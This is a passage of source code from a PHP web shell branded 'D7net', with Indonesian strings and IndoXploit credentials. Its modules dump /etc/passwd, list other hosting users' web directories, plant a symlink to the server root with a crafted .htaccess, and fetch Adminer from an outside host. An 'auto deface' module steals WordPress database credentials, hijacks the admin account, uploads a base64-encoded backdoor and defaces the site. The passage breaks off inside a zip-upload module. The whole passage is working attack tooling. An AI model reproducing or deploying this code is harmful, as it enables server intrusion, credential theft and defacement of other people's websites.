c3RyIiBzdHlsZT0nYmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjpibGFjazsnPnN0cl9yb3QxMyAtIGd6aW5mbGF0ZSAtIHN0cl9yb3QxMyAtIGJhc2U2NDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0idXJsIiBzdHlsZT0nYmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjpibGFjazsnPmJhc2U2NCAtIGd6aW5mbGF0ZSAtIHN0cl9yb3QxMyAtIGNvbnZlcnRfdXUgLSBnemluZmxhdGUgLSBiYXNlNjQ8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9ImhleGVuY29kZSIgc3R5bGU9J2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Y29sb3I6YmxhY2s7Jz5IZXggRW5jb2RlL0RlY29kZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0ibWQ1IiBzdHlsZT0nYmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjpibGFjazsnPjxjZW50ZXI+TUQ1IEhhc2g8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9InNoYTEiIHN0eWxlPSdiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2NvbG9yOmJsYWNrOyc+U0hBMSBIYXNoPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJzdHJfcm90MTMiIHN0eWxlPSdiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2NvbG9yOmJsYWNrOyc+Uk9UMTMgSGFzaDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0ic3RybGVuIiBzdHlsZT0nYmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjpibGFjazsnPnN0cmxlbjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0ieHh4IiBzdHlsZT0nYmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjpibGFjazsnPnVuZXNjYXBlPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJiYmIiIHN0eWxlPSdiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2NvbG9yOmJsYWNrOyc+Y2hhckF0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJhYWEiIHN0eWxlPSdiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2NvbG9yOmJsYWNrOyc+Y2hyIC0gYmluMmhleCAtIHN1YnN0cjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0id3d3IiBzdHlsZT0nYmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjpibGFjazsnPmNocjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0ic3NzIiBzdHlsZT0nYmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjpibGFjazsnPmh0bWxzcGVjaWFsY2hhcnM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9ImVlZSIgc3R5bGU9J2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Y29sb3I6YmxhY2s7Jz5lc2NhcGU8L29wdGlvbj48L3NlbGVjdD4gIDxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdCcgdmFsdWU9J0VuY29kZScgc3R5bGU9ImJhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Y29sb3I6cmVkOyI+DQo8aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyBuYW1lPSdjcmFjaycgdmFsdWU9J0RlY29kZScgc3R5bGU9ImJhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Y29sb3I6cmVkOyI+PGJyPg0KPC9zZWxlY3Q+Jm5ic3A7DQo8L2Zvcm0+DQo8P3BocCANCiRzdWJtaXQgPSAkX1BPU1RbJ3N1Ym1pdCddOw0KaWYgKGlzc2V0KCRzdWJtaXQpKXsNCiRvcCA9ICRfUE9TVFsib3BlIl07DQpzd2l0Y2ggKCRvcCkge2Nhc2UgJ2Jhc2U2NCc6ICRjb2RpPWJhc2U2NF9lbmNvZGUoJHRleHQpOw0KYnJlYWs7Y2FzZSAnc3RyJyA6ICRjb2RpPShiYXNlNjRfZW5jb2RlKHN0cl9yb3QxMyhnemRlZmxhdGUoc3RyX3JvdDEzKCR0ZXh0KSkpKSk7DQpicmVhaztjYXNlICdqc29uJyA6ICRjb2RpPWpzb25fZW5jb2RlKHV0ZjhfZW5jb2RlKCR0ZXh0KSk7DQpicmVhaztjYXNlICdnemluZmxhdGUnIDogJGNvZGk9YmFzZTY0X2VuY29kZShnemRlZmxhdGUoc3RyX3JvdDEzKCR0ZXh0KSkpOw0KYnJlYWs7Y2FzZSAnZ3ppbmZsYXRlcicgOiAkY29kaT1iYXNlNjRfZW5jb2RlKHN0cl9yb3QxMyhnemRlZmxhdGUoJHRleHQpKSk7DQpicmVhaztjYXNlICdnemluZmxhdGV4JyA6ICRjb2RpPWJhc2U2NF9lbmNvZGUoZ3pkZWZsYXRlKHN0cl9yb3QxMyhnemRlZmxhdGUoJHRleHQpKSkpOw0KYnJlYWs7Y2FzZSAnZ3ppbmZsYXRldycgOiAkY29kaT1iYXNlNjRfZW5jb2RlKGd6ZGVmbGF0ZShzdHJfcm90MTMocmF3dXJsZW5jb2RlKGd6ZGVmbGF0ZShjb252ZXJ0X3V1ZW5jb2RlKGJhc2U2NF9lbmNvZGUoc3RyX3JvdDEzKGd6ZGVmbGF0ZShjb252ZXJ0X3V1ZW5jb2RlKHJhd3VybGRlY29kZShzdHJfcm90MTMoJHRleHQpKSkpKSkpKSkpKSk7DQpicmVhaztjYXNlICdnemluZmxhdGVzJyA6ICRjb2RpPWJhc2U2NF9lbmNvZGUoZ3pkZWZsYXRlKCR0ZXh0KSk7DQpicmVhaztjYXNlICdzdHIyJyA6ICRjb2RpPWJhc2U2NF9lbmNvZGUoc3RyX3JvdDEzKCR0ZXh0KSk7DQpicmVhaztjYXNlICd1cmxlbmNvZGUnIDogJGNvZGk9cmF3dXJsZW5jb2RlKCR0ZXh0KTsNCmJyZWFrO2Nhc2UgJ2hleGVuY29kZScgOiAkY29kaT1iaW4yaGV4KCR0ZXh0KTsNCmJyZWFrO2Nhc2UgJ21kNScgOiAkY29kaT1tZDUoJHRleHQpOw0KYnJlYWs7Y2FzZSAndXInIDogJGNvZGk9Y29udmVydF91dWVuY29kZSgkdGV4dCk7DQpicmVhaztjYXNlICdzdHJfcm90MTMnIDogJGNvZGk9c3RyX3JvdDEzKCR0ZXh0KTsNCmJyZWFrO2Nhc2UgJ3NoYTEnIDogJGNvZGk9c2hhMSgkdGV4dCk7DQpicmVhaztjYXNlICdzdHJsZW4nIDogJGNvZGk9c3RybGVuKCR0ZXh0KTsNCmJyZWFrO2Nhc2UgJ3h4eCcgOiAkY29kaT1zdHJsZW4oYmluMmhleCgkdGV4dCkpOw0KYnJlYWs7Y2FzZSAnYmJiJyA6ICRjb2RpPWh0bWxlbnRpdGllcyh1dGY4X2RlY29kZSgkdGV4dCkpOw0KYnJlYWs7Y2FzZSAnYWFhJyA6ICRjb2RpPWNocihiaW4yaGV4KHN1YnN0cigkdGV4dCkpKTsNCmJyZWFrO2Nhc2UgJ3d3dycgOiAkY29kaT1jaHIoJHRleHQpOw0KYnJlYWs7Y2FzZSAnc3NzJyA6ICRjb2RpPWh0bWxzcGVjaWFsY2hhcnMoJHRleHQpOw0KYnJlYWs7Y2FzZSAnZWVlJyA6ICRjb2RpPWFkZHNsYXNoZXMoJHRleHQpOw0KYnJlYWs7Y2FzZSAndXJsJyA6ICRjb2RpPWJhc2U2NF9lbmNvZGUoZ3pkZWZsYXRlKGNvbnZlcnRfdXVlbmNvZGUoc3RyX3JvdDEzKGd6ZGVmbGF0ZShiYXNlNjRfZW5jb2RlKCR0ZXh0KSkpKSkpOw0KYnJlYWs7ZGVmYXVsdDpicmVhazt9fQ0KDQokc3VibWl0ID0gJF9QT1NUWydjcmFjayddOw0KaWYgKGlzc2V0KCRzdWJtaXQpKXsNCiRvcCA9ICRfUE9TVFsib3BlIl07DQpzd2l0Y2ggKCRvcCkge2Nhc2UgJ2Jhc2U2NCc6ICRjb2RpPWJhc2U2NF9kZWNvZGUoJHRleHQpOw0KYnJlYWs7Y2FzZSAnc3RyJyA6ICRjb2RpPXN0cl9yb3QxMyhnemluZmxhdGUoc3RyX3JvdDEzKGJhc2U2NF9kZWNvZGUoKCR0ZXh0KSkpKSk7DQpicmVhaztjYXNlICdqc29uJyA6ICRjb2RpPXV0ZjhfZGVuY29kZShqc29uX2RlbmNvZGUoJHRleHQpKTsNCmJyZWFrO2Nhc2UgJ2d6aW5mbGF0ZScgOiAkY29kaT1zdHJfcm90MTMoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHRleHQpKSk7DQpicmVhaztjYXNlICdnemluZmxhdGVyJyA6ICRjb2RpPWd6aW5mbGF0ZShzdHJfcm90MTMoYmFzZTY0X2RlY29kZSgkdGV4dCkpKTsNCmJyZWFrO2Nhc2UgJ2d6aW5mbGF0ZXgnIDogJGNvZGk9Z3ppbmZsYXRlKHN0cl9yb3QxMyhnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkdGV4dCkpKSk7DQpicmVhaztjYXNlICdnemluZmxhdGV3JyA6ICRjb2RpPXN0cl9yb3QxMyhyYXd1cmxkZWNvZGUoY29udmVydF91dWRlY29kZShnemluZmxhdGUoc3RyX3JvdDEzKGJhc2U2NF9kZWNvZGUoY29udmVydF91dWRlY29kZShnemluZmxhdGUocmF3dXJsZGVjb2RlKHN0cl9yb3QxMyhnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkdGV4dCkpKSkpKSkpKSkpKTsNCmJyZWFrO2Nhc2UgJ2d6aW5mbGF0ZXMnIDogJGNvZGk9Z3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHRleHQpKTsNCmJyZWFrO2Nhc2UgJ3N0cjInIDogJGNvZGk9c3RyX3JvdDEzKGJhc2U2NF9kZWNvZGUoJHRleHQpKTsNCmJyZWFrO2Nhc2UgJ3VybGVuY29kZScgOiAkY29kaT1yYXd1cmxkZWNvZGUoJHRleHQpOw0KYnJlYWs7Y2FzZSAnaGV4ZW5jb2RlJyA6ICRjb2RpPXF1b3RlZF9wcmludGFibGVfZGVjb2RlKCR0ZXh0KTsNCmJyZWFrO2Nhc2UgJ3VyJyA6ICRjb2RpPWNvbnZlcnRfdXVkZWNvZGUoJHRleHQpOw0KYnJlYWs7Y2FzZSAndXJsJyA6ICRjb2RpPWJhc2U2NF9kZWNvZGUoZ3ppbmZsYXRlKHN0cl9yb3QxMyhjb252ZXJ0X3V1ZGVjb2RlKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCgkdGV4dCkpKSkpKSk7DQpicmVhaztkZWZhdWx0OmJyZWFrO319DQokaHRtbCA9IGh0bWxlbnRpdGllcyhzdHJpcHNsYXNoZXMoJGNvZGkpKTsNCmVjaG8gIjxmcm9tPjxjZW50ZXI+PHRleHRhcmVhIGNvbHM9NzAgcm93cz0yMCBzdHlsZT0nb25mb2N1cygpO2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6cmVkO2JhY2tncm91bmQtaW1hZ2U6IHRyYW5zcGFyZW50O29wYWNpdHk6MC40MDtiYWNrZ3JvdW5kLXNpemU6MTAwJTtiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0OycgY2xhc3M9J2lucHV0eicgcmVhZG9ubHk+Ii4kaHRtbC4iPC90ZXh0YXJlYT48QlIvPjxCUi8+PC9jZW50ZXI+PC9mcm9tPiI7DQo/Pg==';
  1182.             $file = fopen("encode.php","w+"); $write = fwrite ($file ,base64_decode($d7encode)); $file = fopen("/","encode.php");
  1183.             $rt="<br><a href=encode.php TARGET='_blank'>";
  1184.     echo "<br><br><br><a class='d7net_table' href=encode.php TARGET='_blank'><b>view click here!</a></b><br><br>$rt</center>";} echo "</form>";
  1185. }elseif($_GET['D7net'] == 'passwbypass') {
  1186.     echo '<center>Bypass etc/passw With:<br>
  1187. <table style="width:50%">
  1188.   <tr>
  1189.     <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
  1190.     <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
  1191.     <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>  
  1192.     <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>      
  1193.     <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
  1194. </tr></table>Bypass User With : <table style="width:50%">
  1195. <tr>
  1196.     <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
  1197.     <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
  1198.     <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>  
  1199.     <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>      
  1200.     <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
  1201. </tr>
  1202. </table><br>';
  1203.  
  1204.  
  1205. if ($_POST['awkuser']) {
  1206. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1207. echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
  1208. echo "</textarea><br>";
  1209. }
  1210. if ($_POST['systuser']) {
  1211. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1212. echo system("ls /var/mail");
  1213. echo "</textarea><br>";
  1214. }
  1215. if ($_POST['passthuser']) {
  1216. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1217. echo passthru("ls /var/mail");
  1218. echo "</textarea><br>";
  1219. }
  1220. if ($_POST['exuser']) {
  1221. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1222. echo exec("ls /var/mail");
  1223. echo "</textarea><br>";
  1224. }
  1225. if ($_POST['shexuser']) {
  1226. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1227. echo shell_exec("ls /var/mail");
  1228. echo "</textarea><br>";
  1229. }
  1230. if($_POST['syst'])
  1231. {
  1232. echo"<textarea class='inputz' cols='65' rows='15'>";
  1233. echo system("cat /etc/passwd");
  1234. echo"</textarea><br><br><b></b><br>";
  1235. }
  1236. if($_POST['passth'])
  1237. {
  1238. echo"<textarea class='inputz' cols='65' rows='15'>";
  1239. echo passthru("cat /etc/passwd");
  1240. echo"</textarea><br><br><b></b><br>";
  1241. }
  1242. if($_POST['ex'])
  1243. {
  1244. echo"<textarea class='inputz' cols='65' rows='15'>";
  1245. echo exec("cat /etc/passwd");
  1246. echo"</textarea><br><br><b></b><br>";
  1247. }
  1248. if($_POST['shex'])
  1249. {
  1250. echo"<textarea class='inputz' cols='65' rows='15'>";
  1251. echo shell_exec("cat /etc/passwd");
  1252. echo"</textarea><br><br><b></b><br>";
  1253. }
  1254. echo '<center>';
  1255. if($_POST['melex'])
  1256. {
  1257. echo"<textarea class='inputz' cols='65' rows='15'>";
  1258. for($uid=0;$uid<60000;$uid++){
  1259. $ara = posix_getpwuid($uid);
  1260. if (!empty($ara)) {
  1261. while (list ($key, $val) = each($ara)){
  1262. print "$val:";
  1263. }
  1264. print "\n";
  1265. }
  1266. }
  1267. echo"</textarea><br><br>";
  1268. }
  1269. } elseif($_GET['D7net'] == 'jumping') {
  1270.     $i = 0;
  1271.     echo "<pre><div class='margin: 5px auto;'>";
  1272.     $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
  1273.     while($passwd = fgets($etc)) {
  1274.         if($passwd == '' || !$etc) {
  1275.             echo "<font color=red>Can't read /etc/passwd</font>";
  1276.         } else {
  1277.             preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  1278.             foreach($user_jumping[1] as $user_d7net_jump) {
  1279.                 $user_jumping_dir = "/home/$user_d7net_jump/public_html";
  1280.                 if(is_readable($user_jumping_dir)) {
  1281.                     $i++;
  1282.                     $jrw = "[<font color=white>R</font>] <a href='?path=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  1283.                     if(is_writable($user_jumping_dir)) {
  1284.                         $jrw = "[<font color=white>RW</font>] <a href='?path=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  1285.                     }
  1286.                     echo $jrw;
  1287.                     if(function_exists('posix_getpwuid')) {
  1288.                         $domain_jump = file_get_contents("/etc/named.conf");   
  1289.                         if($domain_jump == '') {
  1290.                             echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  1291.                         } else {
  1292.                             preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  1293.                             foreach($domains_jump[1] as $dj) {
  1294.                                 $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1295.                                 $user_jumping_url = $user_jumping_url['name'];
  1296.                                 if($user_jumping_url == $user_d7net_jump) {
  1297.                                     echo " => ( <u>$dj</u> )<br>";
  1298.                                     break;
  1299.                                 }
  1300.                             }
  1301.                         }
  1302.                     } else {
  1303.                         echo "<br>";
  1304.                     }
  1305.                 }
  1306.             }
  1307.         }
  1308.     }
  1309.     if($i == 0) {
  1310.     } else {
  1311.         echo "<br>Total ada ".$i." Kamar di ".gethostbyname($_SERVER['HTTP_HOST'])."";
  1312.     }
  1313.     echo "</div></pre>";
  1314. } elseif($_GET['D7net'] == 'vhosts'){
  1315.     echo "<form method='POST' action=''>";
  1316.     echo "<center><br><font size='6'>Bypass Symlink vHost</font><br><br>";
  1317.     echo "<center><input type='submit' class='d7net_table' value='Bypass it' name='Colii'></center>";
  1318.         if (isset($_POST['Colii'])){
  1319.                         mkdir('symvhosts', 0755);
  1320.                         chdir('symvhosts');
  1321.                         system('ln -s / d7net.txt');
  1322.             $fvckem ='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';
  1323.             $file = fopen(".htaccess","w+"); $write = fwrite ($file ,base64_decode($fvckem)); $Bok3p = symlink("/","d7net.txt");
  1324.             $rt="<br><a href=symvhosts/d7net.txt TARGET='_blank'><font color=#ff0000 size=2 face='Courier New'><b>
  1325.     Bypassed Successfully</b></font></a>";
  1326.     echo "<br><br><b>Done !</b><br><br>Check link given below for / folder symlink <br>$rt<br>Note: Apabila Forbidden pas buka /var/www/vhosts/Domain.com/ harap tambahkan httpdocs ex:/var/www/vhosts/Domain.com/httpdocs/</center>";} echo "</form>";
  1327.  
  1328. } elseif($_GET['D7net'] == 'adminer') {
  1329.     $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1330.     function adminer($url, $isi) {
  1331.         $fp = fopen($isi, "w");
  1332.         $ch = curl_init();
  1333.               curl_setopt($ch, CURLOPT_URL, $url);
  1334.               curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  1335.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1336.               curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  1337.               curl_setopt($ch, CURLOPT_FILE, $fp);
  1338.         return curl_exec($ch);
  1339.               curl_close($ch);
  1340.         fclose($fp);
  1341.         ob_flush();
  1342.         flush();
  1343.     }
  1344.     if(file_exists('adminer.php')) {
  1345.         echo "<center><font color=yellow><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1346.     } else {
  1347.         if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  1348.             echo "<center><font color=yellow><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1349.         } else {
  1350.             echo "<center><font color=red>gagal buat file adminer</font></center>";
  1351.         }
  1352.     }
  1353. } elseif($_GET['D7net'] == 'auto_dwp') {
  1354.     if($_POST['auto_deface_wp']) {
  1355.         function anucurl($sites) {
  1356.             $ch = curl_init($sites);
  1357.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1358.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1359.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1360.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1361.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1362.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1363.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1364.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1365.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1366.             $data = curl_exec($ch);
  1367.                   curl_close($ch);
  1368.             return $data;
  1369.         }
  1370.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  1371.             $post = array(
  1372.                    "log" => "$userr",
  1373.                    "pwd" => "$pass",
  1374.                    "rememberme" => "forever",
  1375.                    "wp-submit" => "$wp_submit",
  1376.                    "redirect_to" => "$web",
  1377.                    "testcookie" => "1",
  1378.                    );
  1379.             $ch = curl_init($cek);
  1380.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1381.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1382.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1383.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1384.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1385.                   curl_setopt($ch, CURLOPT_POST, 1);
  1386.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  1387.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1388.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1389.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1390.             $data = curl_exec($ch);
  1391.                   curl_close($ch);
  1392.             return $data;
  1393.         }
  1394.         $scan = $_POST['link_config'];
  1395.         $link_config = scandir($scan);
  1396.         $script = htmlspecialchars($_POST['script']);
  1397.         $user = "indoxploit";
  1398.         $pass = "indoxploit";
  1399.         $passx = md5($pass);
  1400.         foreach($link_config as $dir_config) {
  1401.             if(!is_file("$scan/$dir_config")) continue;
  1402.             $config = file_get_contents("$scan/$dir_config");
  1403.             if(preg_match("/WordPress/", $config)) {
  1404.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  1405.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  1406.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1407.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  1408.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1409.                 $prefix = $dbprefix."users";
  1410.                 $option = $dbprefix."options";
  1411.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1412.                 $db = mysql_select_db($dbname);
  1413.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1414.                 $result = mysql_fetch_array($q);
  1415.                 $id = $result[ID];
  1416.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1417.                 $result2 = mysql_fetch_array($q2);
  1418.                 $target = $result2[option_value];
  1419.                 if($target == '') {                
  1420.                     echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1421.                 } else {
  1422.                     echo "[+] $target <br>";
  1423.                 }
  1424.                 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  1425.                 if(!$conn OR !$db OR !$update) {
  1426.                     echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  1427.                     mysql_close($conn);
  1428.                 } else {
  1429.                     $site = "$target/wp-login.php";
  1430.                     $site2 = "$target/wp-admin/theme-install.php?upload";
  1431.                     $b1 = anucurl($site2);
  1432.                     $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  1433.                     $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  1434.                     $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  1435.                     $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  1436.                     $www = "m.php";
  1437.                     $fp5 = fopen($www,"w");
  1438.                     fputs($fp5,$upload3);
  1439.                     $post2 = array(
  1440.                             "_wpnonce" => "$anu2",
  1441.                             "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  1442.                             "themezip" => "@$www",
  1443.                             "install-theme-submit" => "Install Now",
  1444.                             );
  1445.                     $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  1446.                           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1447.                           curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1448.                           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1449.                           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1450.                           curl_setopt($ch, CURLOPT_POST, 1);
  1451.                           curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  1452.                           curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1453.                           curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1454.                           curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1455.                     $data3 = curl_exec($ch);
  1456.                           curl_close($ch);
  1457.                     $y = date("Y");
  1458.                     $m = date("m");
  1459.                     $namafile = "id.php";
  1460.                     $fpi = fopen($namafile,"w");
  1461.                     fputs($fpi,$script);
  1462.                     $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  1463.                            curl_setopt($ch6, CURLOPT_POST, true);
  1464.                            curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  1465.                            curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  1466.                            curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  1467.                            curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  1468.                            curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  1469.                     $postResult = curl_exec($ch6);
  1470.                            curl_close($ch6);
  1471.                     $as = "$target/k.php";
  1472.                     $bs = anucurl($as);
  1473.                     if(preg_match("#$script#is", $bs)) {
  1474.                         echo "[+] <font color='yellow'>berhasil mepes...</font><br>";
  1475.                         echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  1476.                         } else {
  1477.                         echo "[-] <font color='red'>gagal mepes...</font><br>";
  1478.                         echo "[!!] coba aja manual: <br>";
  1479.                         echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  1480.                         echo "[+] username: <font color=yellow>$user</font><br>";
  1481.                         echo "[+] password: <font color=yellow>$pass</font><br><br>";    
  1482.                         }
  1483.                     mysql_close($conn);
  1484.                 }
  1485.             }
  1486.         }
  1487.     } else {
  1488.         echo "<center><h1>WordPress Auto Deface</h1>
  1489.         <form method='post'>
  1490.         <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
  1491.         <input type='text' name='script' height='10' size='50' placeholder='Hacked by Desktop77N3T' required><br>
  1492.         <input type='submit' class='d7net_table' style='width: 450px;' name='auto_deface_wp' value='Sikatt!'>
  1493.         </form>
  1494.         <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
  1495.         </center>";
  1496.     }
  1497. }
  1498. elseif($_GET['D7net'] == 'zip') {
  1499.     echo "<center><h1>Zip Menu</h1>";
  1500. function rmdir_recursive($dir) {
  1501.     foreach(scandir($dir) as $file) {
  1502.        if ('.' === $file || '..' === $file) continue;
  1503.        if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  1504.        else unlink("$dir/$file");
  1505.    }
  1506.    rmdir($dir);
  1507. }
  1508. if($_FILES["zip_file"]["name"]) {
  1509.     $filename = $_FILES["zip_file"]["name"];
  1510.     $source = $_FILES["zip_file"]["tmp_name"];
  1511.     $type = $_FILES["zip_file"]["type"];
  1512.     $name = explode(".", $filename);
  1513.     $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
  1514.     foreach($accepted_types as $mime_type) {
  1515.         if($mime_type == $type) {
  1516.             $okay = true;
  1517.             break;
  1518.         }
  1519.     }
  1520.     $continue = strtolower($name[1]) == 'zip' ? true : false;
  1521.     if(!$continue) {
  1522.         $message = "Itu Bukan Zip  , , GOBLOK SIA";
  1523.     }
  1524.   $path = dirname(__FILE__).'/';
  1525.   $filenoext = basename ($filename, '.zip');
  1526.   $filenoext = basename ($filenoext, '.ZIP');
  1527.   $targetdir = $path . $filenoext;
  1528.   $targetzip = $path . $filename;
  1529.   if (is_dir($targetdir))  rmdir_recursive ( $targetdir);
  1530.   mkdir($targetdir, 0777);
  1531.     if(move_uploaded_file($source, $targetzip)) {
  1532.         $zip = new ZipArchive();
  1533.         $x = $zip->open($targetzip);
  1534.         if ($x === true) {
